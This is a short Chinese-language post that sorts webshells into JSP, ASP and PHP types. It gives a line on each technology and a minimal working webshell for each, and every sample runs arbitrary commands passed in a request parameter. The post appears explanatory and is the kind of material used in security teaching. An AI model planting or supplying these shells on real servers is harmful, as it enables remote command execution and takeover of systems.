Webshell分类
根据不同的脚本名称划分,常见的Webshell脚本类型有JSP、ASP、PHP等。
1. JSP型Webshell脚本
JSP全称Java Server Pages,是一种动态Web资源的开发技术。JSP是在传统的网页HTML文件(.html,.html)中插入Java程序段(scriptlet)和JSP标记(tag),从而形成JSP文件(*.jsp)。
JSP型WebShell脚本如下:
<%Runtime.getRuntime().exec(request.getParameter("i"));%>
2. ASP型Webshell脚本
ASP全称Active Server Page,是服务器开发专用脚本。它可以与数据库和其他程序进行交互,是在IIS中运行的一种程序。
ASP型Webshell脚本如下:
<%eval request("cmd")%>
3. PHP型Webshell脚本
PHP全称 Hpyertext Preprocessor,是一种通用开源脚本语言,主要适用于Web开发领域。PHP可支持常见的数据库及操作系统,可快速地执行动态网页。
PHP型Webshell脚本如下:
<?php
$a=exec($_GET["input"]);
echo $a;
?>
以上是Webshell的分类,希望对您有所启发,欢迎点赞和转发、关注。